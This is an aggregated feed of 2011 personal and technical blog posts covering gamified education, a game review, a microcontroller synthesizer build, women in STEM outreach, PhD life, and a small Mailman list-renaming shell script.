Gamification is certainly a hot topic these days. Jesse Schell opened Pandora's Box with his Visions of the Gamepocalypse talk. Sebastian Deterding discussed the promises and pitfalls of gamification. Ian Bogost came right out and said that Gamification is Bullshit. And yet, there are many who believe that gamifying education could be a very good thing.

Take Extra Credits (now hosted on Penny Arcade) and their view of how we might gamify education. They envision rewards systems that count up from zero rather than down from a perfect grade. Perhaps the most interesting example of gamifying education so far, though, has been the charter school Quest 2 Learn. I was skeptical of how well the concept would be implemented at first, but the more I learn about it the more impressed and excited I am.

Enter the latest project I've encountered: Just Press Play. I first learned about this initiative on the Microsoft Research Connections Blog (via Reddit, of all places), where Donald Brinkman posted an article called Unlocking Academic Success with Frame Games for Learning. As he describes the project:

It began with a simple question: “Why can’t students earn digital rewards for being awesome?” A research group comprised of university faculty, staff, and students at the Rochester Institute of Technology (RIT) decided to find out. The team delved into the everyday travails of college life—from academia to social activities—and developed a real-world game, Just Press Play, which helps students earn a digital reward for the ultimate achievement: collegiate success.

(Video link)

Again, at first glance, it's easy to worry that this is just another one of those gimmicky projects doomed to failure. But to be honest, I don't think this is going to be the case. Check out the slides for a presentation made at the 2011 Games in Education conference about the project (be sure to click on the Speaker Notes tab under the slides). There are definitely hints in there that suggest a lot more thought has gone into this project than what a typical marketing team has probably done for their commercial gamification projects. For instance, it's clear they recognize that intrinsic rewards are much more sustainable than extrinsic ones, and want to harness that.

This is something I'm definitely going to watch. I like the fact that it's for college students rather than the usual K-12 audience and am intrigued to see how much more the students engage with all aspects of college life.

John Cliff: simarilius

2011-11-25T21:47:25+00:00

Been playing NFS:The Run, and have found myself shouting at the tv in frustration, how did they take such a good concept and screw it up so badly? A coast to coast canonball style run in super cars. 3000 odd miles of non stop racing. Sounds great! Except its not. Its not non-stop and its not 3000 miles. It stops every 5 minutes or so as the race is broken up into a zillion stages. Just as you get in a groove and its stage over, heres a bunch of pointless achievements and now you can hit A twice to wait through a load screen to carry on.

On the screens between levels its constantly telling you your stats, Run time, 15mins, avg speed 140mph, miles travelled 300 plus? what the hell? ok, you’ve cut the distance down. stop making it so frikken obvious. I can do speed x time, its pretty obvious that the sums dont add up.

Then theres the stupid stage modes, “pass 8 people to progress” its not really a coast to coast race if you cant progress past any 5 minute stage without finishing in the position the game makers have decided is the place that you need to be in at that point.

Dont even get me started on the out of car bits. Why do I have to randomly mash the A button to make him run from cops, then bash the Y to make him jump a fence? Seriously pointless, and really badly done. if you want to have these ‘story’ bits to make me change car, just put them in as cutscenes and be done with it.

I know, its a NFS game, its not meant to be vaguely realistic, its an action game, etc etc. but its just dumb.

This could have been a great game. Its barely good. such a shame.

Niko Kiirala: Soundbox — what makes it tick

2011-11-21T20:20:16+00:00

I did have the soundbox device I have built with me at Alternative Party 2011. It did attract a fair amount of interest, though nowhere near what my 32×8 LED screen did. I think I'll have to write a post about that LED screen and how it works some time. For quick info, it's built around an ATmega328, can show 16 different shades of green with gamma ramp and shows some classical effects such as plasma and fire.

Neither one of my projects gained nowhere near the interest that the Chernobyl reactor simulator by Helsinki Hacklab did, but that is only to be expected. That simulator was awesome, even though they didn't quite manage to get it to a playable state during the event.

I'll first describe the high-level workings of the soundbox, then the hardware side and last the software used.

High-level view

The device is a looper: it plays a short loop of sounds over and over again and the sounds can be altered while the device is playing. It provides two channels, each with its own waveform and each separately programmable. The loop is 128 sounds long and the actual length of loop in seconds depends on the setting of tempo knob.

The first sound channel plays sine wave and the second channel plays pitched noise. One of the device controls is a pitch knob that can be used to select the frequency of sine wave of noise to be programmed.

For sine wave there's also second knob — arpeggio — which can be used to alternate between the base pitch and a higher pitch at a high rate. The rate is fixed depending on tempo and the setting of arpeggio knob defines how much higher is the higher pitch.

Also there's a beat LED that flashes four times during every loop through the sound loop — white at the beginning of loop and red the other three times. This is to help the user see how fast a tempo the device is using.

The front panel also features a built-in speaker which is mere 5 cm across but can produce surprisingly high volumes — even at the active party hall it was able to put out enough volume to be clearly audible at close quarters. I've tried some small commercial speaker devices intended to be attached to portable CD/MP3 players and found that they can't put out nearly enough volume in such situations, so I was somewhat surprised that this simple device could.

The hardware design

The hearth of this device is Atmel ATmega88 microcontroller running at 16 MHz. Sporting 8 kB of flash memory and 8 kB of RAM, this microcontroller is the little brother of ATmega328 that is used in the popular Arduino prototyping board.

Early version of the hardware

With the built-in analog-to-digital converter in ATmega88 it is simple to read the positions of the three 10 kΩ linear potentiometers used for pitch, arpeggio and tempo. The potentiometers are connected across device ground and regulated 5 V lines, so turning a potentiometer changes the voltage at its middle pin linearly between these two voltages. This voltage is read with the ADC in the microcontroller and used to control the sound generation.

The microcontroller outputs the sound using Pulse-width modulation and uses a simple resistor-capacitor low-pass filter so that only frequencies below the Nyquist frequency of the output are passed to amplifier and eventually to speaker. Or at least this was the idea — I don't know quite exactly the frequency response of the filter I built, especially as I ended up swapping some of the capacitors to different value than the one originally planned, since I didn't have any with correct value and could not be bothered to visit the electronics store to get a couple capacitors. Anyhow, it sounds good and looking at the output with an oscilloscope doesn't show modulation frequency passed through, so I guess it's fine.

After the low-pass filter is the volume control: a 10 kΩ logarithmic potentiometer. After it there's a LM386 amplifier chip that drives the speaker or the device connected to the line out jack. One notable thing is that this amplifier chip is not connected to the regulated 5 V line that is being used to drive the ATmega88, but to the unregulated voltage straight from the batteries. This is done to maximize the voltage available to the amplifier chip — which means more volume — and to ease the load on the regulator, which is simple 7805 linear regulator that can generate considerable amounts of heat if heavily loaded or if the difference between its input and output voltages is large.

Speaking of batteries and voltage regulation, the power source for this device is six AA size NiMH cells. With nominal voltage of 1.2 V each, the total voltage is 7.2 V — high enough so that the 7805 can produce stable 5 V supply and well inside the operating voltage range for LM386.

The software

The software for the soundbox is written in C using the AVR libc library.

The sounds to be played are stored in two 128 bytes long arrays, one for each voice. Each byte in these arrays corresponds to one sound to be played, the value defining the pitch of the sound.

At the hearth of the sound generation is a numerically controlled oscillator (NCO). The oscillator for sine voice uses 256 samples long phase-to-amplitude converter array that is filled with sine values at device boot up. The noise channel uses similar table filled with random values with Gaussian distribution, creating a table that contains white noise. The oscillator for noise channel advances in its table 4096 times slower than sine oscillator of same frequency. This value has been chosen experimentally so that sine and noise with same pitch setting would sound like having somewhat similar pitch.

The sound generation itself is done inside the overflow interrupt of an pulse width modulation timer that's built-in in ATmega88. Each time the timer overflows — every 256 processor ticks in my configuration — a new sound amplitude is computed from the two NCOs and written in pulse width control register.

Reading inputs and setting the frequencies of the two NCOs is done in the main program loop. Each loop of the main program moves one step forward in sound arrays, reads inputs, writes new sound values to sound arrays if needed and sets the frequency controls of NCOs according to the values in sound arrays. After this it runs NOP command in a loop a suitable number of times to wait until new sound is to be played.

That's it for this time. I'm thinking of posting something about how I made the enclosure, especially the labels on the panel and buttons. Maybe some recording of the sounds I get from the device, too.

Gail Carmichael: Event Idea: The Truth About Women in Science and Engineering

2011-11-18T10:00:06+00:00

I recently came up with what I thought was interesting event idea. Our Dean of Engineering had expressed some interest in CU-WISE coming up with an idea for a recruitment event that would attract the media and encourage high school girls to consider choosing Carleton in their upcoming university applications. I haven't heard back from the Dean so I am not sure if this event will happen, but I thought I'd share the idea in case it helped any of you come up with your own.

The Truth About Women in Science and Engineering

The proposed premise is to be honest about what it’s like to be a woman in science or engineering. This begins as something that comes across as negative as we share the common challenges faced by students and others, but the idea is to show how a group like CU-WISE and all the other awesome things that Carleton does turns this all around.It is a risk to do anything negative at all (and it needs to be approached in just the right way), but there are two good reasons for this approach:

It will build trust in the students we want to reach as well as their parents. All schools are trying to sell themselves as a product, but how many are willing to be honest about the situation? It’s the elephant in the room, and our audience should appreciate our ability to discuss it in the open.
To attract the media, your approach has to be different. Sure, maybe you’d get a bit of air time for the usual outreach events, but they tend to be fairly similar to each other. Being willing to talk about these issues is not something that’s very common.

The proposed event would be a dessert reception held on the afternoon of a weekend. The reason for this is that a dinner would not only be more expensive, but require longer periods of sitting in one place (it will become clear why this isn’t desirable shortly). Choosing an afternoon on a weekend makes it easier for students and parents to attend since families need to get home from work and eat dinner before attending an event like this during the week. The great participation numbers at Go Eng Girl (held on a Saturday) proves that weekend events can be successful.

The dessert reception should include something to please both the parents (who are big influencers to their children’s choices) and the students. Offering beer and wine, if affordable, shows we are thinking of the former, and having cupcakes, cake pops, and milkshakes or smoothies for the girls should thrill the latter.

The main format of the event would be to have a short talk at the beginning to discuss the challenges faced by women in science and engineering and how CU-WISE and other Carleton initiatives help. This would be followed by a structured networking opportunity where parents and students would speak with current students, alumni, and faculty. Finally, hands-on demo and other info booths would be available during the last segment, when casual networking would take place. Dessert could be served in both of the last two segments or just at the end.

Possible Agenda

Time	Item	Reasoning
20 minutes	Talk: The Truth About Women in Science and Engineering (One or two guest speakers, depending on whether it will be joint between Engineering and Science)	As explained earlier, this is an opportunity to talk about the elephant in the room and build trust with both the parents and the students. It is also an opportunity to showcase how CU-WISE helps by providing a support network and other great initiatives to Carleton students so they know they can expect to be able to overcome the challenges at Carleton.
40 minutes	Structured Networking: We will have a set of current female students, alumni, and faculty available to participate. There will be at least one person from each of these groups at each numbered table. They will see three different groups of parents and students and will be asked to talk about their experiences at Carleton, including challenges they faced and how they overcame them. Each student/parent pair will draw three table numbers from separate bins, set up so that they get one table assigned to a current student, another to an alumnus, and another to a faculty member. In each of the ten minutes, the student/parent pair will sit at their assigned table and have a discussion with the student/alumnus/faculty assigned to that table. This will repeat twice so each pair talks to each type of person assigned to the tables. Ten minutes in the schedule is allotted for time taken switching tables, etc.	Students appreciate the opportunity to see what life is like for current students, what kinds of jobs they can expect if they get through the program, and who will be teaching them. This makes coming to university much less intimidating, and if they find themselves connecting with any of these people, they are more likely to remember Carleton favourably as a place they could see themselves studying at. If possible, we may even be able to ask participants to tell us what programs they are applying for, and pre-match the tables they visit so they are able to speak to at least some people from that program or, at least, faculty.
60 minutes	Demo and Info Booths Demo booths should provide an opportunity to touch and try things as well as listen to someone from Carleton talk about the demo itself and how it relates to the kinds of things you study at Carleton. Potential demos might include robotics, satellites, brain dissection, interesting interfaces from HCI students, water filtration, etc. Info booths - such as one from Athletics - are important to emphasize the kind of balance you can have when you are a student at Carleton, and can show what other services are there to support students.	Besides the usual reasons for having hands-on demos (engagement, etc), they implicitly show the success of women at Carleton. This continues to follow the theme on the Truth of Women in Science and Engineering in that we see what awesome things women here are really doing.

Jon Phillips: The Birth of Marking and Markiting in London, Beijing, and Kuala Lumpur.

2011-11-16T11:19:32+00:00

And the above happened after I killed all my sim cards, American phone plan, and turned off all social media notifications.

Now it time to do Marking all over the world. There is little need to print new propaganda unless you need mass market growth, but is that even good?

Muji can’t handle the Marking Revolution!

The US Global Entry program too, just pwnd into a Fabricatorz brochure showing off the four horseman projects of Fabricatorz.

Gail Carmichael: She Topped All the Men in Math and Kept Her Life in Balance

2011-11-16T10:52:31+00:00

In an age where to be female was to be weak, there was one woman who would finally show the world that the fairer sex could beat the very best men academically, even in something so male dominated as mathematics. And she did it while still maintaining a rather balanced lifestyle.

Public domain image obtained from Wikipedia.

Philippa Fawcett did the unimaginable: she beat every other man and woman who competed in the prestigious mathematical examinations held at Cambridge University. This was in 1890, a time long before men and women were even allowed to study for degrees side by side. Even the science of the time suggested that this probably couldn't happen:

Central to the 19th-century concept of human development was the idea that the adolescent body was a closed system; there was only so much energy available, and so a body in which resources were diverted to mental development was one in which physical development necessarily suffered. This was thought to be a particular problem for women, because their reproductive system was far more complicated than men’s and so consumed a greater proportion of the body’s resources. A young woman who studied hard during puberty was believed to be taking special risks since “the brain and ovary could not develop at the same time,” as historian Judith Walzer Leavitt points out.

The story of her triumph was detailed over at the Smithsonian blog and is worth the read on its own. However, I happened to notice one very interesting aspect of the tale that has been rather relevant to me in the last couple of days: the fact that, unlike many of the previous male champions, Phillipa maintained a very good life balance while studying for the exams.

Just look at what the boys went through to become the top scorers, known as Wranglers:

The most serious candidates invariably hired tutors and worked more or less round the clock for months. The historian Alex Craik notes that C.T. Simpson, who ranked as Second Wrangler in 1841, topped off his efforts by studying for 20 hours a day in the week before the exams and “almost broke down from over-exertion… [he] found himself actually obliged to carry a supply of ether and other stimulants into the examinations in case of accidents.” James Wilson, who topped the rankings in 1859, had a nervous breakdown immediately after his exams; on his recovery he discovered he had forgotten all the math he ever knew except elementary algebra. And James Savage worked himself so hard that he was found dead of apoplexy in a ditch three months after being named Senior Wrangler of 1855.

In contrast, Phillipa "led 'a disciplined and orderly life,' rising at 8 a.m. and rarely going to bed later than 11 p.m. She studied six hours a day, but refused to yield to the then-popular practice among aspirant Wranglers of working through the night with a wet towel wrapped around her head."

Just yesterday I finally read a time management article that had been making the rounds. Phillipa's routine reminded me of the advice in that article. As someone who also strives for a regular working day (and sometimes feeling guilty about it!), I am glad to see how others are able to achieve success with similar working hours. Definitely check out the article:

Time management: How an MIT postdoc writes 3 books, a PhD defense, and 6+ peer-reviewed papers — and finishes by 5:30pm

Do you have any time management secrets or have you read any other great articles on the subject?

Kees Cook: qrcodes

2011-11-16T03:08:48+00:00

Inspired by recent Planet Ubuntu posts, I submit a QR Code for your examination:

Gail Carmichael: Enjoying Grace Hopper 2011 From Afar

2011-11-11T15:25:38+00:00

I've attended the Grace Hopper Celebration of Women in Computing (GHC) every year since 2008, gradually increasing my participation from blogging to being on a conference committee. This year I had to miss out because I am past my flight cut-off for my pregnancy. For a long time I was so busy trying to get stuff done for school before I start my leave in January that I didn't even think about it, but once the conference got started this week I felt very sad to be missing out.

Fortunately, the very thing that I have worked so hard to make awesome when attending GHC in the past is allowing me to enjoy this year's edition from afar: the online communities.

I have a whole new appreciation for the many awesome posts on attendees' blogs and Twitter accounts. While seeing conversations between all the people I am missing out on meeting up with makes me feel sad, I also find myself vibrating with excitement with all the amazing things happening in Portland. From the wonderful keynote speakers to the fantastic panels to the neat e-textile workshop, this conference must be the best one yet.

If you'd like to enjoy GHC from afar as well, be sure to check out the relevant posts on these blogs (many of which are also aggregated on the conference website):

GHC Bloggers
Thoughts on security, beer, theatre, and biking! (Valerie Fenwick)
The Geek Movement (Karen Tanenbaum)
PhDoula
Kathleen Tsoukalas
terriko (Terri Oda)
Speak HCI (Keita Del Valle)

To follow posts on Twitter, search for the #ghc11 hash tag.

To read notes taken during specific conference sessions (and find links to associated blog posts), have a look at the official GHC wiki.

And, finally, be sure to watch the keynote video of Sheryl Sandberg (COO of Facebook), already available online! (The other keynotes will find their way online eventually as well, so stay tuned to the Grace Hopper and ABI news feeds.)

Hopefully I'll see you all at GHC 2012 in Baltimore next October with baby — and with any luck, husband — along for the ride!

Gail Carmichael: Code Blocked

2011-11-08T10:42:35+00:00

I love coding. Once I get started, I get lost in the groove very easily. I love thinking about the best way to organize objects and design my UI. It feels good to find elegant ways to solve problems. So the fact that I haven't done a lot of programming lately really frustrates me.

IMG_4407 by DanBengal

If I was working in industry right now, I'd be coding every day. The nature of my current projects in grad school require a lot of preliminary non-coding work (especially reading). But it would be wrong to blame grad school for my lack of coding.

In fact, there seem to be two larger problems at play here. First, I have a hard time wanting to do much of anything work related in the evenings. This is partly because my husband and I value balance in our lives, like to cook real food for dinner and keep the house in good working order (easier said than done when you own a 130+ year old place in the country). My poor eyesight and need to wear hard contacts may also play a factor, making my eyes too tired to focus on a screen all evening.

But perhaps more frustrating is the second problem. The amount of momentum I need to break the code block barrier has grown to be fairly immense. I don't know why this is. Once I get started I can't stop, but it seems really, really hard to make the first move. To open Xcode or or Eclipse or Visual Studio and just start coding. It may be related to my dislike of doing something for only a short period of time before having to put it away again (probably the same reason I still haven't finished playing the first Portal). I'm not sure.

I have more than one project that I've very nearly finished. I could easily be tinkering away on these projects when I need a break from reading or during a quiet evening at home. I want to break this code block and be consistently programming throughout each semester. How?

Gail Carmichael: Two Months Before Mommyhood

2011-11-06T15:21:41+00:00

It's hard to believe that our baby's due date is less than 8 weeks away. It's even harder to believe I've written so little about it here! What with trying to get as much done as I can before going on leave after Christmas, I haven't really thought that much about the whole baby thing.

«I love you, mom!» by Tambako the Jaguar

Nonetheless, there are still some things I've been looking forward to and others that I have been worried about. Thought I'd share a few here.

Things I'm Worried About

Will I finish everything I want to get done before I go on leave?!
My eyes have problems that require me to wear hard contacts (can't see any other way, even with glasses). I worry about not being to see when I have to get up in the night for baby. It's also potentially unfortunate that I wouldn't be able to mess around on my phone or read a magazine when I have to get up for longer periods of time (or will I be too tired to do that anyway?).
How long will it be before I am able to get back to doing useful things? I'd like to at least continue with reading books and papers related to my thesis after the first couple of months. If I'm really lucky, I'd like to ramp things up a little bit in my second four months of leave (fingers crossed for a "good" baby!).
Once I'm back from leave, what is life going to be like? Am I going to be able to graduate in a reasonable amount of time, and for a reasonable amount of money as scholarships and funding start to run out?

Things I'm Looking Forward To

Having a cute little baby to love and cuddle, obviously. ;)
I'm really excited to eventually make use of the really cool educational technology that's starting to come out these days. It'll be a while, but I'm looking forward to introducing my kid to things like Project Columbia, which melds Kinect and Sesame Street together. I hope I can eventually make some of my own apps that my kid can enjoy, too.
I'm also already wondering at what age I can teach my kid to program with Scratch.
We already try to lead a pretty balanced life (sometimes I feel bad about not being as hard-core as I used to be in undergrad). I'm looking forward to having a quality family life at home, enjoying everything from Christmas to everyday life that much more.

Gail Carmichael: Course Blogs vs Wikis

2011-11-02T14:01:07+00:00

If you're a professor or TA for a course and want to use online technology for the betterment of your students, which is superior: a course wiki or a course blog? I've been using the latter for the course I'm TA'ing this term, but think the real answer depends on exactly what you hope to get out of it.

WIKI by kbaird

The blog I've been running this term is for the third year graphics course offered to the game development stream students. One of the reasons I started it is that the only other ways to communicate with students would be to ask the professor to post things to his course website (which would limit me in what I could actually say), or to hope that students actually checked WebCT once in a while (computer science students don't much like WebCT).

Some of the things I post about include:

Updates on my progress grading various assignments and tests.
General summarized feedback on assignments.
Numbered comments for tests that I can refer to when marking so I don't have to write the same explanations over and over again on paper.
Detailed explanations of topics students seem to be struggling with.
Links to applets on fundamental topics I've made in the past that might help students.
Links to other resources that might be helpful.

So far the blog has been very much a one-way form of communication, even though students could be posting questions or comments on the posts if they wanted to. It's not totally clear how many students look at the blog, but I do know that those who come see me for help use it.

A course wiki would look a lot different from the blog. For instance, instead of a stream of posts that capture what happened during a particular term chronologically, a wiki would likely end up being a more structured documentation of the course that could evolve over time. It is more of a living document that students, TA's, and professors could contribute to. It might even be able to combine the ideas of the traditional course webpage with some of what I put on my blog (some of the resources on my blog might be better suited to a wiki). A wiki might be more difficult to use as a form of feedback to students in a particular term since it's not as obvious when new content is posted.

So, if choosing between a wiki or a blog, I would consider whether I want to develop a resource that will evolve each time the course is taught (wiki), or if communication and feedback to students is my priority (blog). I don't think one is superior to the other, and the ambitious might even be able to effectively offer both.

Have you used either for your own course? What type of content did you include, and how successful was your approach?

Jon Phillips: Moving Mailman Lists with Linux Server

2011-10-30T08:40:14+00:00

For all the nerds out there, here is a lil script I wrote with some help for being able to rename lists, especially if you are having trouble with aliases generated from your setup. Mailman is simple in using just the folder path names for a list to generate aliases and more. The setup for Fabricatorz is ubuntu latest with mailman and postfix. Have it with the script, and let me know if you make some changes or have problems:

#!/bin/sh
#
# A quick way to rename mailman lists and trust me you aren't going to find
# a better way to do this on ubuntu server
#

OLD="$1"
NEW="$2"

echo $OLD
echo $NEW

/etc/init.d/mailman stop
test -d /var/lib/mailman/archives/private/${NEW} && echo '*** That mailing list name already exists. ***' && exit 1

mv /var/lib/mailman/lists/${OLD} /var/lib/mailman/lists/${NEW}
test -d /var/lib/mailman/archives/private/${OLD} && mv /var/lib/mailman/archives/private/${OLD} /var/lib/mailman/archives/private/${NEW}
mv /var/lib/mailman/archives/private/${OLD}.mbox /var/lib/mailman/archives/private/${NEW}.mbox
test -d /var/lib/mailman/archives/private/${NEW}.mbox/${OLD}.mbox && mv /var/lib/mailman/archives/private/${NEW}.mbox/${OLD}.mbox /var/lib/mailman/archives/private/${NEW}.mbox/${NEW}.mbox && /var/lib/mailman/bin/arch ${NEW} /var/lib/mailman/archives/private/${NEW}.mbox/${NEW}.mbox

newaliases
/var/lib/mailman/bin/genaliases
/etc/init.d/postfix restart
/etc/init.d/mailman start
exit 0

I’m still a nerd.

Gail Carmichael: Computer Science is Everywhere! (Even Photography)

2011-10-28T12:49:35+00:00

Last week I did a couple of workshops at the Canadian Museum of Science and Technology for National Science and Technology Week. I managed to improve the usual 'computer science connects to everything' theme to be more interactive, and judging by the apparent engagement of the students, it was a success. Below is an outline of what I presented - feel free to adapt it for your own presentation (with some credit to me if you don't mind).

I'm here from Carleton University to tell you about one of the biggest reasons that I love computer science: it connects to everything! No matter what your interests are, or your passions, there is a problem waiting to be solved and a way to make life easier or better with computing. Even something as creative as photography has a lot to do with computer science, as we'll see later.

My name is Gail Carmichael, and I'm a computer scientist. Of course, that's not all I am. I'm also a PhD student (which means I've been in school for almost ten years since high school!). I do Taekwondo (anyone else into martial arts?) and like to go backpack hiking and work on my garden. And, as you can see, I'm also going to be a mom soon!

(I always make an effort to show the students that just because you are into computers doesn't mean you can't also be into lots of other fun things as well. This time I was also able to talk about becoming a mom, which I think it really important for both the males and females to see. In fact, one of the boys came up to me after the workshop to wish me luck with the baby - how awesome is that??)

I'm also part of a group at Carleton called Women in Science and Engineering. In fact, I helped start this group a few years ago. I don't know if you all know, but we still have far too few women in computer science, and we want to fix that. So, ladies in the audience, I encourage you to look into computer science as a possible career if you see anything today that interests you! (Guys, too - we want all the smart people!)

Ok, so let's talk about computer science. Anyone have any ideas of what computer science might be? Or maybe what kinds of things computer scientists do?

(You usually get answers more related to using computers, but you can also often get some good insight into what the field's really about.)

I'll tell you exactly was computer science is about in one second. But first, I want you to all take a minute to brainstorm as long a list as you can of areas of your life where computing is involved. Think of the obvious, like cell phones, to the less obvious, like toasters (yup, even your toaster might have a little computer inside!).

Here are some of the areas I thought of. Some of these are more obvious, like the iPhone and video games. What about some of the others?

(I find the students love giving more ideas on these topics or asking questions about them. Invite interaction here as much as possible.)

Music: You could write software that analyzes music and automatically creates a playing list that would suit our current mood. Or you can try to teach the computer how to create good music from scratch.
Medicine: You can use computers to simulate chemical reactions and help us narrow down what sorts of things might be effective in treating particular illnesses. You can also use computers to crunch the huge amounts of data in our DNA, helping us find genetic issues in a person. (Bet you didn't think you'd be able to save lives as a computer scientist, did you?)
Video Games: Sometimes we want to provide good entertainment as computer scientists, and making games is one way to do this. You can even study game development as a whole concentration in our computer science program at Carleton!
Geography: When's the last time you used Google Maps or a GPS device? There's a lot of computer science happening there, such as when you are finding the most efficient route to your destination.
Psychology: If you're interested in the way people think, you can help design technology that makes sense to humans.
Math: Computer science can be a very mathematical way of thinking. (But don't worry, you don't have to be a math whiz to do well in this field!)
Robotics: We have to program robots to get around without running into things and much more.
Education: I want to make games that are both fun and educational. School looks very similar to what our great-great-grandparents experienced, but I think that technology can help change that and make learning more fun and effective!

In the end, computer science is really all about solving problems. It's not about programming or software or any of that stuff on its own - these are all just means to the end of making the world better.

(Try to relate the students' answers from earlier into the above discussion.)

What problems are there to solve in photography? How can we improve such a creative practice with technology?

Some of you might remember taking photos with film before digital cameras became standard. Film worked by having an actual chemical reaction to the light that hits it. How do we take a picture digitally?

(If there's time, it's fun to get them guessing how we get from a scene in the world to an image on the computer.)

Instead of using chemicals that react to light, we can create what's called a digital sensor that can sense what light is hitting it. But how does this translate into what the computer can understand?

Do you know how data on your computer is stored? What everything ends up being in the end? (Answer: numbers! Binary numbers in particular.) Even an image is going to end up as numbers. So we need to translate the light hitting the sensor into numbers somehow.

Let's say I took this photo with my digital camera and I'm looking at it on the computer. What happens if I zoom in really close? (Answer: it gets pixelated, blocky, blurry, etc.)

Our digital sensors are made of grids of pixels as well, and each of these pixels captures the amount of light that hits it. Then we can store this as a number for each pixel on the computer, representing the image.

(At this point, I use images from the CS Unplugged Image Representation activity to demonstrate how this can work with black and white images, and I give them some time to try recreating the pictures on the handout on pg 4 of the PDF. We discuss the pros and cons of the two ways of representing the image - each pixel as its own number or writing out the number of black or white pixels that come in a row - and I emphasize that we often have to consider tradeoffs when solving problems in computer science.)

To conclude, let me say again that computer science is everywhere. In photography, there are many more problems that computer science helps solve, from organizing and searching through our photos to applying interesting effects to them. Computing touches every part of our lives, from keeping us healthy to keeping us entertained.

Gail Carmichael: Help Wanted: Examples of Nonlinear Stories and Less Successful AR Projects

2011-10-27T14:13:47+00:00

I'm working on two projects where I need to come up with as long a list of examples as I can. I've got some in mind, but what better way to make sure I don't miss the important ones than to ask all of you for your ideas? I hope you'll share your thoughts. Yay, crowd sourcing! :)

Crowd Sourcing by riacale

Nonlinear Stories in Traditional Media

The first set of examples I'm working on is a list of movies and books that have nonlinear plots. I'm not necessarily talking about interactive stories here; instead, I want to know about any story that presents itself in a non-chronological order of some kind. For instance, the plot in Memento is shown in reverse order, and events are told by various narrators in Hero.

In addition to the actual example, it would be great to hear your thoughts on how the creators have explained the use of a nonlinear plot in the context of their stories, or what technique they used to present it. In Memento, the backwards plot fits in with the brain damage of the main character, and in Hero the technique is the use of different framing devices (in this case, an unreliable narrator).

This list is going to be used in thinking about nonlinear narrative in games. I will let you know more closer to the end of the term.

Less Successful Augmented Reality Projects

Do you know of an augmented reality project from academia or industry that seemed really good but never really caught on to be a big success? Or a project that wasn't actually very good in the first place? This includes projects that have been important in terms of the technology they have moved forward, but that didn't seem to have a lasting use to real people, as well as commercial flops.

I'm going to be using these examples in a discussion of how less successful augmented reality projects could be improved. It's related to my work on using cognitive theories to uncover the value of AR. The current version of our paper is probably going to a journal or magazine, and I am very much looking forward to sharing it with you all - hopefully soon!

Niko Kiirala: Soundbox project and Alternative party

2011-10-20T22:49:09+00:00

I've been building a digital instrument that has been inspired by the Luna Mod which was presented in the Make magazine some while ago. It is a two-voice software synthesizer implemented on an Atmel ATmega88, an eight-bit microcontroller. It plays a short loop of sounds which are programmable by selecting suitable pitch and amount of arpeggio and pressing a programming button.

I will present this device for the first time at Alternative party 2011 which starts in less than 24 hours. It's a festival for many sorts of digital art, especially demos (as in demoscene, not short versions of games) and there have been many electronics enthusiasts – such as KOELSE - Association of Experimental Electronics and Helsinki Hacklab – in the last years. I'm confident this project will fit right in there.

I'll write more about this project soon, at least something about the electronics and software design in this device and about how the control panel was made.

The source files and an electronics design drawing made in Fritzing are available at a GitHub repository.

Gail Carmichael: What if you want a PhD but don't plan to do research after?

2011-10-19T10:43:17+00:00

I was thinking the other day about the different reasons a person might want to get a PhD, and I wondered if those who weren't necessarily intending to be researchers when they were done would be valued as highly during their grad school years as those who did.

Academic by tim ellis

I suppose the most common reason to get a PhD is because you want to do research, either as a professor in an academic setting or at a research lab (industry or otherwise). After all, this is what the actual PhD work teaches you more than anything else: how to do research. Sure, there are opportunities to improve and practice your teaching as well, but it's certainly not required. Some people don't even want to be TA's because of the time it takes away from their main task.

But is it not also perfectly legitimate to get a PhD because you simply want to learn more about something? To have the opportunity for academic and other experiences that you'd never have otherwise? Or maybe you want to work on a particular problem not because you love the world of research in and of itself, but because that problem is something you are passionate about solving.

Perhaps you want to just teach when you are done. Sure, you might not need more than a Masters to do that in a university setting, but the reasons above may be enough to take it that step further. Or maybe you want to continue working on solving that problem you started working on as a business venture or within another company. Maybe you see the solution as something that can make the world a better place.

Are students whose primary post-grad goals do not include research less valued during their PhD, assuming they have fairly good (but not top) research ability combined with other excellent qualities (such as leadership, etc)? Do they get less scholarships and recognition? Do they suffer more because of the Publish or Perish mantra?

I don't know the answers, but while I would like to think this wouldn't be the case I suspect that it could easily be. Does it matter? What are your thoughts?

Gail Carmichael: 'Publish or Perish' Should Perish

2011-10-14T15:09:03+00:00

I hate the 'publish or perish' mantra of academia. I really do. To me, it takes the focus away from doing great work and waiting until it's truly ready for public consumption and instead stresses us out as we try to ensure our publication record is up to snuff.

P is for Produce, "Piled Higher and Deeper" by Jorge Chamwww.phdcomics.com

I particularly dislike the mantra these days because it's so easy to document what we're up to online. If committees for scholarships, tenure, etc want to see whether we are doing good research, they could in theory find out in other ways, for example from our discussions, blogs, websites, and more online (assuming of course that we researchers got better at taking advantage of such media). The full process, including the failures, could be captured. Granted, it's not as official as a peer reviewed paper and false information could be spread, but in some ways it's a more full and genuine glimpse into someone's research ability, while the published papers come to represent the most polished work possible. Perhaps if we wanted this to become a standard, we could find ways to ensure the information available outside of published work is useful and trustworthy.

I certainly hear of many others who dislike the current way of things as well. But, as they point out, it's the way you have to play the game in academia. True, but is generating knowledge for the purpose of playing the game really going to result in the best outcome? And is the length of someone's publication list really a good indication of the value they are bringing to the world?

I'd love to see a fundamental shift in our thinking when it comes to publishing. I do believe that the process of peer review and the ability to share the outcome of our research is important, but I wish the emphasis was more on high quality results than the insatiable need to just get something out there.

Do you feel the same way? How would you change the system if you could change anything?

Gail Carmichael: Research Plan: The Role of Story in Educational Games

2011-10-12T17:35:34+00:00

I've (finally!) been working on a concrete thesis research plan and wanted to share a general idea of what I'm intending to do. The short version is that I want to experimentally determine how different types of stories actually affect learning outcome in educational games, and make it easier for others to incorporate story into future games.

Stray Souls Dollhouse Story game screenshot by GamesPlayer

These are the main questions I'm hoping to answer in three phases:

As shown through experimentation, does the use of story in educational games offer
players an opportunity for deep learning beyond simply providing motivation or engagement?
Does the use of nonlinear narrative or interactive storytelling improve engagement and/or learning?
How can narrative best be incorporated into educational games? What set of metrics could
be developed to help game designers ensure that they are able to effectively tie together their story, educational content, and gameplay mechanics?
Using this knowledge, what would a tool to support the authoring of stories for educational games look like?

The idea is to first choose a set of games with which to conduct experiments that test learning outcome. Some of these games will be already established works with clear learning objectives and stories that can be removed without severely affecting the educational content. We will also use some of our own designs. The selection of games will be made with the second research question in mind; that is, we wish to ﬁnd games that use both linear and nonlinear storytelling techniques. The results of these experiments will heavily influence the rest of the research.

